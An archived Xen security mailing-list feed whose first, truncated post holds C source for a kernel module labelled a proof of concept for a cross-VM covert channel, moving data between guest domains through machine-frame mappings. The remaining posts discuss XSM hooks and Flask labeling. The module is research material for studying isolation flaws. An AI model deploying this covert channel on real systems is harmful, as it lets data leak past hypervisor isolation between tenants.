&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val = 0; ///////
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(j = 0; j &amp;lt; ADDR_LENGTH &amp;&amp; (i - PFN_MY_HEADER_SIZE) * ADDR_LENGTH + j &amp;lt; size; j++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val += (data[(i - PFN_MY_HEADER_SIZE) * ADDR_LENGTH + j]) &amp;lt;&amp;lt; (j * 8); // little-endian
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;pfn%d: %08x -&amp;gt; %08x\n&amp;quot;, i, (unsigned int)upd[i].ptr &amp;&amp; !MMU_MACHPHYS_UPDATE, (unsigned int)upd[i].val);
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; HYPERVISOR_mmu_update(upd, max, &amp;nb_success, DOMID_SELF);
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_old = mfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_old_size = nb_success;
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;nb_success: %d\n&amp;quot;, nb_success);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(nb_success != max)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return NULL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; return mfn;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;#define PFN_EXTRACT(pfn, nb) (unsigned char)(pfn &amp;gt;&amp;gt; (nb * 8))
&lt;br&gt;&lt;br&gt;static int pfn_tag_find(start_info_t *si)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; char find = 0, i;
&lt;br&gt;&amp;nbsp; &amp;nbsp; int ret = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; unsigned long mfn, pfn, end = MFN_END, size = 0, tag_id = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_data_size = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; for(mfn = MFN_START; mfn &amp;lt; end; mfn++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pfn = mfn_to_pfn(mfn);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(!find &amp;&amp; pfn == pfn_oth_header_tag[tag_id]) {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;mfn %p : %p (%d)\n&amp;quot;, (void *)mfn, (void *)pfn, (int)tag_id);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(tag_id == PFN_OTH_HEADER_TAG_SIZE - 1)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; find = 1;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; tag_id++;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } else {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; switch(find) {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 0:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; tag_id = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 1:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;tag trouvÃ© !\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; size = pfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; end = mfn + 1 + size / ADDR_LENGTH + ((size % ADDR_LENGTH) ? 1 : 0);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; find++;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 2:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ret = 1;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(size &amp;gt;= ADDR_LENGTH)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;#ifdef MSG_TYPE_HEXA
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(xencc_data_size + ADDR_LENGTH * 4 &amp;lt;= XENCC_DATA_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; snprintf(xencc_data + xencc_data_size, XENCC_DATA_SIZE - xencc_data_size, &amp;quot;\\x%02x\\x%02x\\x%02x\\x%02x&amp;quot;, PFN_EXTRACT(pfn, 0), PFN_EXTRACT(pfn, 1), PFN_EXTRACT(pfn, 2), PFN_EXTRACT(pfn, 3));
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data_size += ADDR_LENGTH * 4;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;#else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(xencc_data_size + ADDR_LENGTH &amp;lt;= XENCC_DATA_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *(unsigned long *)(xencc_data + xencc_data_size) = pfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data_size += ADDR_LENGTH;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;#endif
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; size -= ADDR_LENGTH;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } else {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i = 0; size &amp;gt; 0 &amp;&amp; i &amp;lt; ADDR_LENGTH; i++, size--)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;#ifdef MSG_TYPE_HEXA
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(xencc_data_size + 4 &amp;lt;= XENCC_DATA_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; snprintf(xencc_data + xencc_data_size, XENCC_DATA_SIZE - xencc_data_size, &amp;quot;\\x%02x&amp;quot;, PFN_EXTRACT(pfn, i));
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data_size += 4;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;#else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(xencc_data_size + 1 &amp;lt;= XENCC_DATA_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data[xencc_data_size] = PFN_EXTRACT(pfn, i);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data_size++;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;#endif
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; return ret;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static ssize_t xencc_read(struct file *filep, char *buff, size_t count, loff_t *offp )
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;read from guest %d\n&amp;quot;, XENCC_OTH);
&lt;br&gt;&amp;nbsp; &amp;nbsp; pfn_tag_find((start_info_t *)xen_start_info);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(copy_to_user(buff, xencc_data, xencc_data_size) != 0)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: kernel -&amp;gt; userspace copy failed\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return -EINVAL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; return xencc_data_size;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static ssize_t xencc_write(struct file *filep, const char *buff, size_t count, loff_t *offp )
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; void *mfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(count &amp;gt;= sizeof(xencc_data) || copy_from_user(xencc_data, buff, count) != 0)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: userspace -&amp;gt; kernel copy failed\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return -EINVAL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn = mfn_cc_write((unsigned char *)xencc_data, count);
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(mfn == NULL)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mfn_cc_clean(); // pas forcÃ©ment contigue...
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: MFN copy failed\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return -EINVAL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;write\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; return count;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static struct file_operations xencc_fops = {
&lt;br&gt;&amp;nbsp; &amp;nbsp; .owner = THIS_MODULE,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .read = xencc_read,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .write = xencc_write,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .open = xencc_open,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .release = xencc_release,
&lt;br&gt;};
&lt;br&gt;&lt;br&gt;static struct miscdevice xencc_dev = {
&lt;br&gt;&amp;nbsp; &amp;nbsp; .minor = MISC_DYNAMIC_MINOR,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .name = DEV_NAME,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .fops = &amp;xencc_fops,
&lt;br&gt;};
&lt;br&gt;&lt;br&gt;&lt;br&gt;static int xencc_init(void)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; int ret = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_data[XENCC_DATA_SIZE - 1] = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; ret = misc_register(&amp;xencc_dev);
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(ret)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: unable to register device (%d)\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ret);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return ret;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;loaded guest %d\n&amp;quot;, XENCC_ME);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_pages_nb = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_old_size = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; return 0;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static void xencc_exit(void)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(misc_deregister(&amp;xencc_dev))
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: unable to unregister device\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_cc_clean();
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;unloaded\n&amp;quot;);
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;module_init(xencc_init);
&lt;br&gt;module_exit(xencc_exit);
&lt;br&gt;&lt;/tt&gt;&lt;hr align=&quot;left&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18614975&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;Makefile&lt;/strong&gt; (266 bytes) &lt;a href=&quot;http://old.nabble.com/attachment/18614975/0/Makefile&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/PoC-of-Covert-Channel-tp18614975p18614975.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-18479584</id>
	<title>XSM hooks and privileges</title>
	<published>2008-07-15T20:40:02Z</published>
	<updated>2008-07-15T20:40:02Z</updated>
	<author>
		<name>Hayawardh V</name>
	</author>
	<content type="html">&lt;div dir=&quot;ltr&quot;&gt;Hi, &lt;br&gt;&lt;br&gt;What is the relation between the placement of XSM hooks and the macros IS_PRIV and IS_PRIV_FOR? Is there any redundancy? &lt;br&gt;&lt;br&gt;Thanks, &lt;br&gt;Hayawardh&lt;br&gt;&lt;/div&gt;
&lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18479584&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/XSM-hooks-and-privileges-tp18479584p18479584.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-18349452</id>
	<title>Re: Labeling in XSM/Flask</title>
	<published>2008-07-08T14:23:31Z</published>
	<updated>2008-07-08T14:23:31Z</updated>
	<author>
		<name>George S. Coker, II</name>
	</author>
	<content type="html">I¹ve managed to reproduce a problem like the one you describe....I think it
&lt;br&gt;is the same problem that you are having. &amp;nbsp;The patch was missing a critical
&lt;br&gt;file (xsm.py). &amp;nbsp;This file used to be autogenerated and so an entry had been
&lt;br&gt;made in .hgignore to avoid unintended commits of this file. &amp;nbsp;A side effect
&lt;br&gt;of this was that my changes to xsm.py were not picked up by mercurial and
&lt;br&gt;included in the patch. &amp;nbsp;xsm.py is no longer autogenerated but instead relies
&lt;br&gt;on the xsm_module_name option in xend-config. &amp;nbsp;The options for
&lt;br&gt;xsm_module_name are dummy, acm, or flask.
&lt;br&gt;&lt;br&gt;I¹ve attached an updated patch that addresses this issue. &amp;nbsp;To make sure you
&lt;br&gt;don¹t have any cruft in your installation, blow away
&lt;br&gt;/usr/lib/python/xen/util/xsm before performing a make install of the python
&lt;br&gt;tools. &amp;nbsp;Also make sure that your xend-config.sxp contains the following
&lt;br&gt;entry,
&lt;br&gt;&lt;br&gt;(xsm_module_name flask)
&lt;br&gt;&lt;br&gt;The example configs have been updated with this option keyword but it is
&lt;br&gt;commented out and the default is dummy.
&lt;br&gt;&lt;br&gt;Sorry for the broken patch. &amp;nbsp;I¹ve got some policy work to do tomorrow before
&lt;br&gt;I cut this patch loose for submission. &amp;nbsp;Perhaps you can give me insight into
&lt;br&gt;your hardware/system config because I¹ve been unable to reproduce this
&lt;br&gt;issue.
&lt;br&gt;&lt;br&gt;&amp;gt; 4. When dom0 boots, there is a denial :
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; &amp;gt; (XEN) avc: &amp;nbsp;denied &amp;nbsp;{ firmware } for domid=0
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; &amp;gt; (XEN) scontext=system_u:system_r:dom0_t tcontext=system_u:system_r:xen_t
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; &amp;gt; (XEN) tclass=xen
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;George
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;On 7/7/08 11:24 PM, &amp;quot;Hayawardh V&amp;quot; &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18349452&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;hayawardh@...&lt;/a&gt;&amp;gt; wrote:
&lt;br&gt;&lt;div class='shrinkable-quote'&gt;&lt;div class='shrinkable-quote'&gt;&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; On Mon, Jul 7, 2008 at 1:22 PM, George S. Coker, II &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18349452&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;gscoker@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&amp;gt; wrote:
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; On 7/4/08 5:11 PM, &amp;quot;Hayawardh V&amp;quot; &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18349452&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;hayawardh@...&lt;/a&gt;&amp;gt; wrote:
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; Hi George,
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; I applied the patch update-xsm-061908-xen-17826.diff to Xen and specified
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; (xsm_module_name flask)
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; in xend-config.
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; I am now able to boot into dom0 in enforcing mode.
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; However, when I boot a domU, it has not been labeled, and does not create.
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 1. How do I add labels to objects in XSM/Flask? Where will the labels be
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; stored (like SELinux stores them in extended attributes in the file system)
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; ?
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; Labels are managed through the individual domain configuration files. &amp;nbsp;Add
&lt;br&gt;&amp;gt;&amp;gt; the following attribute to a domU config file,
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; access_control = [³policy=,label=system_u:object_r:domU_t²]
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; domU_t is a valid type in the sample policy. &amp;nbsp;You can modify the policy to
